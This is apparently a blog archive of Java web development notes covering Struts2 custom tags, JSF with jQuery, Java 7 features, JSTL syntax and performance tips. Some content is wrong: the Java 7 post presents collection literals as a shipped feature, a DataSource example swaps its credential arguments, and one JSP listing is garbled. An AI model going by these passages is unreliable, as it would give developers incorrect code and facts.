2009年11月25日
摘要: JSF学习笔记 JSF事件驱动型的MVC框架,与流行的struts比较学习,易于理解。jsf component event事件是指从浏览器由用户操作触发的事件,Struts application event 是用Action来接受浏览器表单提交的事件,一个表单只能对应一个事件,application event和component event相比是一种粗粒度的事件。优点:事件...
阅读全文
posted @
2011-05-30 21:48 junly 阅读(1253) |
评论 (2) |
编辑 收藏
Struts2 的UITag原理:
Struts2 UITag分三部份组成,一部份用于定义Tag的内容与逻辑的UIBean,一部份用于定义JSP Tag,也就是平时我们定义的那种,最后就是Template,它存放在你的theme目录之下,是一个FreeMarker模板文件。
我现在辑写一份MMTag,它主要是用于输出带链接的文字,比如像这样:
<cur:mm message="'I am a boy.'" />
就会输出:
<a href="http://www.blogjava.net/natlive">I am boy.</a>
我们先写UIBean部份:我们把它定义为MM,它继承于 org.apache.struts2.components.UIBean:
package limitstudy.corestruts2.tag;
import org.apache.struts2.components.UIBean;
import org.apache.struts2.views.annotations.StrutsTag;
import org.apache.struts2.views.annotations.StrutsTagAttribute;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@StrutsTag(name="mm", tldTagClass="limitstudy.corestruts2.tag.MMTag", description="MM")
public class MM extends UIBean {
private String message;
public MM(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
super(stack, request, response);
}
@Override
protected String getDefaultTemplate() {
return "mm";
}
@StrutsTagAttribute(description="set message", type="String")
public void setMessage(String message) {
this.message = message;
}
@Override
protected void evaluateExtraParams() {
super.evaluateExtraParams();
if (null != message) {
addParameter("message", findString(message));
}
}
}
* strutsTag注解指明了该UIBean的名字 和Tag类的类名。
* getDefaultTemplate()方法用于返回模板的名 字,Struts2会自动在后面加入.ftl扩展名以找到特定的模板文件。
* setXXX,设置UIBean的属性,一般Tag中有几个这样的属性,这里就有几个。@StrutsTagAttribute(description="set message", type="String") 注解,说明该属性是字符串(也可以是其它),这一步很重要。
* 覆写evaluateExtraParams() 方法,在UIBean初始化后会调用这个方法来初始化设定参数,如addParameter方法,会在freemarker里的parameters里加 入一个key value。这里要注意findString,还有相关的findxxxx方法,它们是已经封装好了的解释ognl语法的工具,具体是怎么样的,大家可以 查看一下UIBean的api doc。
然后是Tag部份:
package limitstudy.corestruts2.tag;
import org.apache.struts2.views.jsp.ui.AbstractUITag;
import org.apache.struts2.components.Component;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MMTag extends AbstractUITag {
private String message;
@Override
public Component getBean(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
return new MM(stack, request, response);
}
@Override
protected void populateParams() {
super.populateParams();
MM mm = (MM)component;
mm.setMessage(message);
}
public void setMessage(String message) {
this.message = message;
}
}
* getBean()返回该Tag中的UIBean。
* populateParams()初始化参数,一般用来初始化UIBean(Component)。
* setXXXX设置属性,和jsp tag是一样的。
在/WEB-INF/tlds/下建立current.tld文件(文名随你喜欢):
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<description>test</description>
<tlib-version>2.0</tlib-version>
<short-name>cur</short-name>
<uri>/cur</uri>
<tag>
<name>mm</name>
<tag-class>limitstudy.corestruts2.tag.MMTag</tag-class>
<body-content>JSP</body-content>
<attribute>
<name>message</name>
<required>true</required>
</attribute>
</tag>
</taglib>
在源代码目录中建立template/simple目录(这个目录名和你的theme有关),然后在里面建一个 mm.ftl文件:
<a href="http://www.yinsha.com">${parameters.message?html}</a>
建一个action测试一下,视图文件:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ taglib prefix="cur" uri="/cur" %>
<html>
<head>
<title><s:property value="message" /></title>
</head>
<body>
<cur:mm message="haoahahhahaha" />
</body>
</html>
完。
PS: 写得有些粗鄙,所以,如有问题的,可以留言。
http://devilkirin.javaeye.com/blog/427395
http://xiaojianhx.javaeye.com/blog/482888
posted @
2011-05-30 21:43 junly 阅读(1112) |
评论 (1) |
编辑 收藏
Page
The following is register.jsp, which takes required information from user regarding registration. For this example, we focus only on validation of username and not the actual registration process.
The most important thing is to know how to access JSF component from JQuery. The id given to inputText is consisting of formid:componentid. So in this example the id given to textbox is registerform:username. But the presence of : (colon) causes problem to JQuery. So, we need to escape : (colon) using two \\ characters before colon - registerform\\:username.
//register.jsp
<%@page contentType="text/html" %>de">
<%@page contentType="text/html" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript" src="jquery-1.4.2.js"></script>
<script language="javascript">
function checkUsername(){
$.get( "checkusername.jsp",{username : $("#registerform\\:username").val()},updateUsername);
}
function updateUsername(response)
{
if (response) {
$("#usernameresult").text(response); // update SPAN item with result
}
</script>
<title>Registration</title>
</head>
<body>
<%@taglib prefix="f" uri="http://java.sun.com/jsf/core"%>
<%@taglib prefix="h" uri="http://java.sun.com/jsf/html"%>
<f:view>
<h2>Registration </h2>
<h:form id="registerform">
<table>
<tr>
<td>Username : </td>
<td><h:inputText id="username" value="#{userBean.username}" required="true" onblur="checkUsername()" />
<h:message for="username" />
<span id="usernameresult" />
</tr>
<tr>
<td>Password : </td>
<td><h:inputSecret id="password" value="#{userBean.password}" required="true" /> <h:message for="password" /> </td>
</tr>
<tr>
<td>Re-enter Password : </td>
<td><h:inputSecret id="confirmPwd" value="#{userBean.confirmPwd}" required="true" /> <h:message for="confirmPwd" /> </td>
</tr>
<tr>
<td>Email Address : </td>
<td><h:inputText id="email" value="#{userBean.email}" required="true" onblur="checkEmail()" /> <h:message for="email" /> </td>
<span id="emailresult" />
</tr>
</table>
<p/>
<h:commandButton actionListener="#{userBean.register}" value="Register" />
<p/>
<h3><h:outputText value="#{userBean.message}" escape="false" /> </h3>
<p/>
</h:form>
</f:view>
</body>
</html>lt;/f:view>
</body>
</html>
Bean
The above JSF Form uses
userBean, which is the name given to
beans.UserBean class. The class and its entries in
faces-config.xml file are given below.
UserBean is the managed bean that stores data coming from JSF form. It contains an action listener - register(), which is supposed to process the data to complete registration process. We don't deal with it as our focus is only on validating username.
//UserBean.java
package beans;
public class UserBean {
private String username, password, email,confirmPwd, message;
public UserBean() {
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getConfirmPwd() {
return confirmPwd;
}
public void setConfirmPwd(String confirmPwd) {
this.confirmPwd = confirmPwd;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public void register(ActionEvent evt) {
if (! password.equals(confirmPwd))
{
message = "Password do not match!";
return;
}
// do registration
} // register
}
xml
The following entry is required in faces-config.xml for UserBean managed bean.
<!-- faces-config.xml -->
<managed-bean>
<managed-bean-name>userBean</managed-bean-name>
<managed-bean-class>beans.UserBean</managed-bean-class>
<managed-bean-scope>request</managed-bean-scope>
</managed-bean>
Check
Now create a checkusername.jsp to check whether given username is valid. It sends a message if username is already exists otherwise it sends empty string (nothing).
<%@ page import="java.sql.*" contentType="text/plain"%>
<%
String username = request.getParameter("username"); // sent from client
// connect to oracle using thin driver
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection con = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe","youruser","yourpassword");
PreparedStatement ps = con.prepareStatement("select username from users where username = ?");
ps.setString(1,username);
ResultSet rs = ps.executeQuery();
if ( rs.next()) { // found username
out.println("Username is already present!"); // send this to client
}
rs.close();
ps.close();
con.close();
%>
Deploy and Test
Now deploy the web application and run register.jsp. If you enter a username that is already present in USERS table then we get message - Username is already present - in SPAN item on the right of username field. If username is unique then SPAN item is set to empty string ( as JSP returns nothing). from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx
posted @
2011-05-30 21:38 junly 阅读(768) |
评论 (0) |
编辑 收藏
Java 7已经完成的7大新功能:
1 对集合类的语言支持;
2 自动资源管理;
3 改进的通用实例创建类型推断;
4 数字字面量下划线支持;
5 switch中使用string;
6 二进制字面量;
7 简化可变参数方法调用。
下面我们来仔细看一下这7大新功能:
1 对集合类的语言支持
Java将包含对创建集合类的第一类语言支持。这意味着集合类的创建可以像Ruby和Perl那样了。
原本需要这样:
List<String> list = new ArrayList<String>();
list.add("item");
String item = list.get(0);
Set<String> set = new HashSet<String>();
set.add("item");
Map<String, Integer> map = new HashMap<String, Integer>();
map.put("key", 1);
int value = map.get("key");
现在你可以这样:
List<String> list = ["item"];
String item = list[0];
Set<String> set = {"item"};
Map<String, Integer> map = {"key" : 1};
int value = map["key"];
这些集合是不可变的。
2 自动资源管理
Java中某些资源是需要手动关闭的,如InputStream,Writes,Sockets,Sql classes等。这个新的语言特性允许try语句本身申请更多的资源,
这些资源作用于try代码块,并自动关闭。
这个:
BufferedReader br = new BufferedReader(new FileReader(path));
try {
return br.readLine();
} finally {
br.close();
}
变成了这个:
try (BufferedReader br = new BufferedReader(new FileReader(path)) {
return br.readLine();
}
你可以定义关闭多个资源:
try (
InputStream in = new FileInputStream(src);
OutputStream out = new FileOutputStream(dest))
{
// code
}
为了支持这个行为,所有可关闭的类将被修改为可以实现一个Closable(可关闭的)接口。
3 增强的对通用实例创建(diamond)的类型推断
类型推断是一个特殊的烦恼,下面的代码:
Map<String, List<String>> anagrams = new HashMap<String, List<String>>();
通过类型推断后变成:
Map<String, List<String>> anagrams = new HashMap<>();
这个<>被叫做diamond(钻石)运算符,这个运算符从引用的声明中推断类型。
4 数字字面量下划线支持
很长的数字可读性不好,在Java 7中可以使用下划线分隔长int以及long了,如:
int one_million = 1_000_000;
运算时先去除下划线,如:1_1 * 10 = 110,120 – 1_0 = 110
5 switch中使用string
以前你在switch中只能使用number或enum。现在你可以使用string了:
String s = ...
switch(s) {
case "quux":
processQuux(s);
// fall-through
case "foo":
case "bar":
processFooOrBar(s);
break;
case "baz":
processBaz(s);
// fall-through
default:
processDefault(s);
break;
}
6 二进制字面量
由于继承C语言,Java代码在传统上迫使程序员只能使用十进制,八进制或十六进制来表示数(numbers)。
由于很少的域是以bit导向的,这种限制可能导致错误。你现在可以使用0b前缀创建二进制字面量:
int binary = 0b1001_1001;
现在,你可以使用二进制字面量这种表示方式,并且使用非常简短的代码,可将二进制字符转换为数据类型,如在byte或short。
byte aByte = (byte)0b001;
short aShort = (short)0b010;
7 简化的可变参数调用
当程序员试图使用一个不可具体化的可变参数并调用一个*varargs* (可变)方法时,编辑器会生成一个“非安全操作”的警告。
JDK 7将警告从call转移到了方法声明(methord declaration)的过程中。这样API设计者就可以使用vararg,因为警告的数量大大减少了。
posted @
2011-03-18 15:21 junly 阅读(16833) |
评论 (9) |
编辑 收藏
A:
<s:a href=""></s:a>-----超链接,类似于html里的<a></a>
<s:action name=""></s:action>-----执行一个view里面的一个action
<s:actionerror/>-----如果action的errors有值那么显示出来
<s:actionmessage/>-----如果action的message有值那么显示出来
<s:append var="newMerList">-----添加一个值到list,类似于list.add();
<s:param value="merList1"></s:param>
<s:param value="merList2"></s:param>
</s:append>
<s:autocompleter></s:autocompleter>-----自动完成<s:combobox>标签的内容,这个是ajax
B:
<s:bean name=""></s:bean>-----类似于struts1.x中的,JavaBean的值
C:
<s:checkbox></s:checkbox>-----复选框
<s:checkboxlist list=""></s:checkboxlist>-----多选框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----图像符号
D:
<s:date name="time" format="yyyy/MM/dd"/>-----获取日期格式
<s:datetimepicker></s:datetimepicker>-----日期输入框
<s:debug></s:debug>-----显示错误信息
<s:div></s:div>-----表示一个块,类似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----双下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}
E:
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----这3个标签一起使用,表示条件判断
F:
<s:fielderror></s:fielderror>-----显示文件错误信息
<s:file></s:file>-----文件上传
<s:form action=""></s:form>-----获取相应form的值
G:
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
<s:iterator>
<s:property/>
</s:iterator>
</s:generator>----和<s:iterator>标签一起使用
H:
<s:head/>-----在<head></head>里使用,表示头文件结束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隐藏值
I:
<s:i18n name=""></s:i18n>-----加载资源包到值堆栈
<s:include value=""></s:include>-----包含一个输出,servlet或jsp页面
<s:inputtransferselect list=""></s:inputtransferselect>-----获取form的一个输入
<s:iterator value="userlist" var="user" status="s">
<s:if test="#s.index == 0">
<s:property value="name"/>
</s:if>
<s:property value="#s.even"/>
<s:property value="#s.odd"/>
<s:property value="#s.first"/>
<s:property value="#s.last"/>
<s:property value="#s.count"/>
</s:iterator>-----用于遍历集合
<s:if test="#list.size > 0 "></s:if>-----判断 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">
L:
<s:label></s:label>-----只读的标签
M:
<s:merge></s:merge>-----合并遍历集合出来的值
O:
<s:optgroup></s:optgroup>-----获取标签组
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右选择框
P:
<s:param name="pageSize" value="pageSize"/></s:param>-----为其他标签提供参数
<s:password></s:password>-----密码输入框
<s:property value="user.name" />-----得到'value'的属性
<s:push value=""></s:push>-----value的值push到栈中,从而使property标签的能够获取value的属性
R:
<s:radio name="type" list="#{0:'拍卖会',1:'展会'}" value="0"></s:radio>-----单选按钮
<s:reset></s:reset>-----重置按钮
S:
<s:select list=""></s:select>-----单选框
<s:set name=""></s:set>-----赋予变量一个特定范围内的值
<s:sort comparator=""></s:sort>-----通过属性给list分类
<s:submit></s:submit>-----提交按钮
<s:subset source="#subList" start="1" count="2">-----为遍历集合输出子集
<s:iterator>
<s:property/>
</s:iterator>
</s:subset>
T:
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域输入框
<s:textfield></s:textfield>-----文本输入框
<s:token></s:token>-----拦截器
<s:tree></s:tree>-----树
<s:treenode label=""></s:treenode>-----树的结构
U:
<s:updownselect list=""></s:updownselect>-----多选择框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----创建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>
<s:param name="sex" value="user.sex"/>
</s:url>
JSTL语法及参数
JSTL包含以下的标签:
常用的标签:如<c:out>、<c:remove>、<c:catch>、<c:set>等
条件标签:如<c:if><c:when>、<c:choose>、<c:otherwise>等
URL标签:如<c:import>、<c:redirect>和<c:url>等
XML标签:如<xml:out>等
国际化输出标签:如<fmt:timeZone>等
SQL标签:如<sql:query>、<sql:update>、<sql:transaction>等
一般用途的标签:
1.<c:out>
没有Body时的语法
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>
有Body时的语法
<c:out value=”value” [escapeXml=”{true|false}”]>
这里是Body部分
</c:out>
名字 类型 描述
value Object 将要输出的表达式
escapeXml boolean 确定以下字符:<,>,&,’,”在字符串中是否被除数,默认为true
default Object 如果vaule计算后的结果是null,那么输出这个默认值
2.<c:set>
这个标签用于在某个范围(page、request、session、application等)中使用某个名字设定特定的值,或者设定某个已经存在的javabean对象的属性。他类似于<%request.setAttrbute(“name”,”value”);%>
语法1:使用value属性设定一个特定范围中的属性。
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>
语法2:使用value属性设定一个特定范围中的属性,并带有一个Body。
<c:set var=”varName” [scope=”{page|request|session|application}”]>
Body部分
</c:set>
语法3:设置某个特定对象的一个属性。
<c:set value=”value” target=”target” property=”propertyName”/>
语法4:设置某个特定对象的一个属性,并带有一个Body。
<c:set target=”target” property=”propertyName”>
Body部分
</c:set>
名字 类型 描述
value Object 将要计算的表到式。
var String 用于表示value 值的属性,如果要在其他标签中使用,就是通过这 个var指定的值来进行的。它相当于在标签定义了一个变量,并且这个变量只能在标签中的一个。
scope String var的有效范围,可以是page|request|session|application中的一个
target String 将要设置属性的对象,它必须是javabean或则java.util.Map对象
property Object 待设定的Target对象中的属性名字,比如在javabean中有个name属性,提供了setUserId方法,那么这里填userId。
3.<c:remove>
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>
4.<c:catch>
这个标签相当于捕获在它里边的标签抛出的异常对象
<c:catch [var=”varName”]> //var是异常的名字
内容
</c:catch>
条件标签
1. <c:if>
语法1:无Body情况
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>
语法2:有Body的情况
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>
Body内容
</c:if>
名字 类型 描述
test Boolean 表达式的条件,相当于if()中的条件判断语句。
var String 表示这个语句的名字。
scope String var这个变量的作用范围。
2.<c:choose>
语法:<c:choose>
Body内容(<c:when>和<c:otherwise>子标签)
</c:choose>
注意:它的Body只能由以下元素组成:
1) 空格
2) 0或多个<c:when>子标签,<c:when>必须在<c:otherwise>标签之前出现.
3) 0个或多个<c:otherwise>子标签。
<c:choose>
<c:when test="${param.age>70}">
欢迎老年人
</c:when>
<c:when test="${param.age<70 and param.age>35}">
欢迎中年人
</c:when>
<c:otherwise>
您的年龄有误!
</c:otherwise>
</c:choose>
3.<c:when>
代表的是<c:choose>的一个条件分支,只能在<c:choose>中使用
语法:<c:when test=”testCondition”> //test是boolean类型,用于判断条件真假
Body语句
</c:when>
4.<c:otherwise>
代表的是<c:choose>中的最后选择。必须在最后出现
<c:otherwise>
内容
</c:otherwise>
迭代标签
1.<c:forEach>
语法1:在Collection中迭代
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body内容
</c:foeEach>
语法2:迭代固定的次数.
<c:forEach [var=”varName”] [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body内容
</c:foeEach>
名字 类型 描述
var String 迭代的参数,它是标签参数,在其他标签中通过它来引用这个标签中的内容。
Items Collection、ArrayList、 要迭代的items集合.
Iterator、Map、String、
Eunmeration等
VarStatus String 表示迭代的状态,可以访问迭代自身的信息
Begin int 表示开始迭代的位置。
End int 表示结束迭代的位置。
Step int 表示迭代移动的步长,默认为1。
URL相关的标签
1.<c:import>
语法1:资源的内容使用String对象向外暴露
<c:import url=”url” [context=”context”]
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>
内容
</c:import>
语法2:资源的内容使用Reader对象向外暴露。
<c:import url=”url” [context=”context”]
varReader=”varReaderName” [charEncoding=”charEncoding”]>
内容
</c:import>
名字 类型 描述
url String 待导入资源的URL,可以是相对路径和绝对路径,并且可以导入其他主机资源
context String 当使用相对路径访问外部context资源时,context指定了这个资源的名字。
var String 参数的名字。
scope String var参数的作用范围。
cahrEncoding String 输入资源的字符编码。
varReader String 这个参数的类型是Reader,用于读取资源。
2.<c:redirct>
语法1:没有Body的情况.
<c:redirect url=”value” [context=”context”]/>
语法2:有Body情况下,在Body中指定查询的参数
<c:redirect url=”value” [context=”context”]>
<c:param name=”name” value=”value”/>
</c:redirect>
3.<c:url>
语法1:没有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>
语法2:有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>
<c:param name=”name” value=”value”/>
</c:url>
名字 类型 描述
value String URL值
context String 当使用相对路径访问外部context资源时,context指定了这个资源的名字
var String 标识这个URL标量。
Scope String 变量作用范围。
SQL相关的标签
1.<sql:setDataSource>
2.<sql:query>
3.<sql:update>
4.<transaction>
5.<param>
posted @
2010-11-22 10:41 junly 阅读(400) |
评论 (0) |
编辑 收藏
1 对Collection、Map接口的类对象初始化时要先分配合理的空间大小,同时还要按照自已的实际需求选择合适的对象。
例如:声明Vector vect=new Vector()时,系统调用:
public Vector() {
// 缺省构造函数
this(10);
// 容量是
10;}
缺省分配10个对象大小容量。
2 优化循环体
循环是比较重复运行的地方,如果循环次数很大,循环体内不好的代码对效率的影响就会被放大而变的突出。
3 少用new初始化一个实例
尽量少用new来初始化一个类的实例,当一个对象是用new进行初始化时,其构造函数链的所有构造函数都被调用到,所以new操作符是很消耗系统资源的,new一个对象耗时往往是局部变量赋值耗时的上千倍。同时,当生成对象后,系统还要花时间进行垃圾回收和处理。当new创建对象不可避免时,注意避免多次的使用new初始化一个对象。尽量在使用时再创建该对象,另外,应该尽量重复使用一个对象,而不是声明新的同类对象。一个重用对象的方法是改变对象的值,如可以通过setValue之类的方法改变对象的变量达到重用的目的。
4 选择合适的方法调用:
在Java中,一切都是对象,如果有方法(Method)调用,处理器先要检查该方法是属于哪个对象,该对象是否有效,对象属于什么类型,然后选择合适的方法并调用。可以减少方法的调用,不影响可读性等情况下,可以把几个小的方法合成一个大的方法。另外,在方法前加上final,private关键字有利于编译器的优化。
5异常处理技巧
异常是Java的一种错误处理机制,对程序来说是非常有用的,但是异常对性能不利。抛出异常首先要创建一个新的对象,并进行相关的处理,造成系统的开销,所以异常应该用在错误处理的情况,不应该用来控制程序流程,流程尽量用while,if等处理。在不是很影响代码健壮性的前提下,可以把几个try/catch块合成一个。
6 尽量使用局部变量
尽量使用局部变量,调用方法时传递的参数以及在调用中创建的临时变量都保存在栈(Stack) 中,速度较快。其他变量,如静态变量、实例变量等,都在堆(Heap)中创建,速度较慢。
7同步处理技巧
同步主要出现在多线程的情况,为多线程同时运行时提供对象数据安全的机制,多线程是比较复杂话题,应用多线程也是为了获得性能的提升,应该尽可能减少同步。
另外,如果需要同步的地方,可以减少同步的代码段,如只同步某个方法或函数,而不是整个代码。
8 尽可能的使用Java自身提供的API
Java的API一般都做了性能的考虑,如果完成相同的功能,优先使用API而不是自己写的代码,如数组复制。
9 尽量减少I/O操作
输入/输出(I/O)包括很多方面,我们知道,进行I/O操作是很消耗系统资源的。程序中应该尽量少用I/O操作。使用时可以注意: . 合理控制输出函数System.out.println()对于大多时候是有用的,特别是系统调试的时候,但也会产生大量的信息出现在控制台和日志上,同时输出时,有序列化和同步的过程,造成了开销。
特别是在发行版中,要合理的控制输出,可以在项目开发时,设计好一个Debug的工具类,在该类中可以实现输出开关,输出的级别,根据不同的情况进行不同的输出的控制。
10 尽量使用缓存
读写内存要比读写硬盘上的文件要快很多,应尽可能使用缓冲,以便直接从内存中读取数据。尽可能使用带有Buffer的类代替没有Buffer的类,如可以用BufferedReader 代替Reader,用BufferedWriter代替Writer来进行处理I/O操作。
同样可以用BufferedInputStream代替InputStream都可以获得性能的提高
11 尽量不使用同步:
Servlet是多线程的,以处理不同的请求,基于前面同步的分析,如果有太多的同步就失去了多线程的优势了。
12 不用保存太多的信息在HttpSession中
很多时候,存储一些对象在HttpSession中是有必要的,可以加快系统的开发,如网上商店系统会把购物车信息保存在该用户的Session中,但当存储大量的信息或是大的对象在会话中时,是有害的,特别是当系统中用户的访问量很大,对内存的需求就会很高。具体开发时,在这两者之间应作好权衡。
13清除SESSION:
通常情况,当达到设定的超时时间时,同时有些Session没有了活动,服务器会释放这些没有活动的Session,.. 不过这种情况下,特别是多用户并访时,系统内存要维护多个的无效Session。当用户退出时,应该手动释放,回收资源,实现如下:..
HttpSession theSession = request.getSession();
// 获取当前Session
if(theSession != null){
theSession.invalidate(); // 使该Session失效
}
14 缓存Home接口
EJB库使用Enterprise Bean 的客户端通过它的Home接口创建它的实例。客户端能通过JNDI访问它。服务器通过Lookup方法来获取。
JNDI是个远程对象,通过RMI方式调用,对它的访问往往是比较费时的。所以,在设计时可以设计一个类专门用来缓存Home接口,在系统初始化时就获得需要的Home接口并缓存,以后的引用只要引用缓存即可。
15 使用快速度的Jdbc驱动
JDBC API包括两种实现接口形式,一种是纯Java实现的驱动,一种利用ODBC驱动和数据库客户端实现,具体有四种驱动模式:
第一类:JDBC-ODBC桥,再加上ODBC驱动程序。
JDBC驱动程序是JDBC-ODBC桥再加上一个ODBC驱动程序。建议第一类驱动程序只用于原型开发,而不要用于正式的运行环境。桥接驱动程序由Sun提供,它的目标是支持传统的数据库系统。Sun为该软件提供关键问题的补丁,但不为该软件的最终用户提供支持。一般地,桥接驱动程序用于已经在ODBC技术上投资的情形,例如已经投资了Windows应用服务器。
尽管Sun提供了JDBC-ODBC桥接驱动程序,但由于ODBC会在客户端装载二进制代码和数据库客户端代码,这种技术不适用于高事务性的环境。另外,第一类JDBC驱动程序不支持完整的Java命令集,而是局限于ODBC驱动程序的功能,这种驱动方式也叫胖客户,主要用于低并发请求,大数据量传输的应用。
第二类:本机API,部分是Java的驱动程序。
JDBC驱动程序是本机API的部分Java代码的驱动程序,用于把JDBC调用转换成主流数据库API的本机调用。这类驱动程序也存在与第一类驱动程序一样的性能问题,即客户端载入二进制代码的问题,而且它们被绑定了特定的平台。
第二类驱动程序要求编写面向特定平台的代码,主流的数据库厂商,例如Oracle和IBM,都为它们的企业数据库平台提供了第二类驱动程序,使用这些驱动程序的开发者必须及时跟进不同数据库厂商针对不同操作系统发行的各个驱动程序版本。
另外,由于第二类驱动程序没有使用纯Java的API,把Java应用连接到数据源时,往往必须执行一些额外的配置工作。很多时候,第二类驱动程序不能在体系结构上与大型主机的数据源兼容;即使做到了兼容,效果也是比较差。
第三类:面向数据库中间件的纯Java驱动程序。
JDBC驱动程序是面向数据库中间件的纯Java驱动程序,JDBC调用被转换成一种中间件厂商的协议,中间件再把这些调用转换到数据库API。第三类JDBC驱动程序的优点是它以服务器为基础,也就是不再需要客户端的本机代码,这使第三类驱动程序要比第一、二两类快。另外,开发者还可以利用单一的驱动程序连接到多种数据库。
第四类:直接面向数据库的纯Java驱动程序。
JDBC驱动程序是直接面向数据库的纯Java驱动程序,即所谓的“瘦”(thin)驱动程序,它把JDBC调用转换成某种直接可被DBMS使用的网络协议,这样,客户机和应用服务器可以直接调用DBMS服务器。对于第四类驱动程序,不同DBMS的驱动程序不同。因此,在一个异构计算环境中,驱动程序的数量可能会比较多。但是,由于第四类驱动程序具有较高的性能,能够直接访问DBMS,所以这一问题就不那么突出了, 这种驱动方式,主要用于高并发,低数据量请求的应用中。
16 使用Jdbc链接池
为了提高访问数据库的性能,我们还可以使用JDBC 2.0的一些规范和特性,JDBC是占用资源的,在使用数据库连接时可以使用连接池Connection Pooling,避免频繁打开、关闭Connection。而我们知道,获取Connection是比较消耗系统资源的。
Connection缓冲池:当一个应用程序关闭一个数据库连接时,这个连接并不真正释放而是被循环利用,建立连接是消耗较大的操作,循环利用连接可以显著的提高性能,因为可以减少新连接的建立。
一个通过DataSource获取缓冲池获得连接,并连接到一个CustomerDB数据源的代码演示如下:
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");
Connection conn = dataSource.getConnection("password","username");
17 缓存DataSorce
一个DataSource对象代表一个实际的数据源。这个数据源可以是从关系数据库到表格形式的文件,完全依赖于它是怎样实现的,一个数据源对象注册到JNDI名字服务后,应用程序就可以从JNDI服务器上取得该对象,并使用之和数据源建立连接。
通过上面的例子,我们知道DataSource是从连接池获得连接的一种方式,通过JNDI方式获得,是占用资源的。
为了避免再次的JNDI调用,可以系统中缓存要使用的DataSource。
18 即时关闭使用过的资源
互联网应用系统一般是并发的系统,在每次申请和使用完资源后,应该释放供别人使用,使用完成后应该保证彻底的释放。
19 架构选型
CoreMediaCMS将整个应用分成四成架构,每一层都可以独立于其他层而正常运行,每一层都可以分布式布署,极大的提高了应用系统的稳定性、可扩展性、支持高并发的要求,每一次之前通过中间件Corba进行稳定的传输数据。
20 开发框架的选型
充分利用开源框架,可以大大提高开发效率。很多初级开发者,都采用DB+JavaBean+JSP这种初级的开发模式,而现在主要使用Struts、Spring等MVC开发框架。
常用开发框架构选型有:
Struts、Spring、Webwork等。
天极传媒选择的开发框架是:Struts+Spring+iBatis,在这个开发框架里,充分利用了Struts、Spring各自己的优点,可以选择Stuts MVC,也可以选择Spring MVC。
21 分级存储
1)数据库数据分级存储:
将经常访问的数据和访问频度低的数据,分别存放到不同的分区,甚至存放到不同的数据库服务器,以便合进分配硬盘I/O及系统I/O。
2)网站内容发布之后,分级存储:
任何一个大型的网站,一般都有海量的内容,为了提高访问效率,应搭建分级存储体系,根据应用的重要性和访问并发要求,将这些内容分级存储,同时将静态内容中的静态页面文件、图片文件、下载文件分不同的Web服务器访问,降低I/O争用,提高访问效率,同时让数据存储、管理、备份更加清晰。
22 页面静态化
一个大型网站,既有静态内容,也有动态内容。静态内容,直接通过Apache或者Squid访问,效率高,稳定可靠,更多的是受服务器等硬件设备的I/O吞吐量、网络环境及页面代码本身质量限制,不受应用系统及数据库性能限制,这些内容往往访问速度和效率不会有较大的问题。
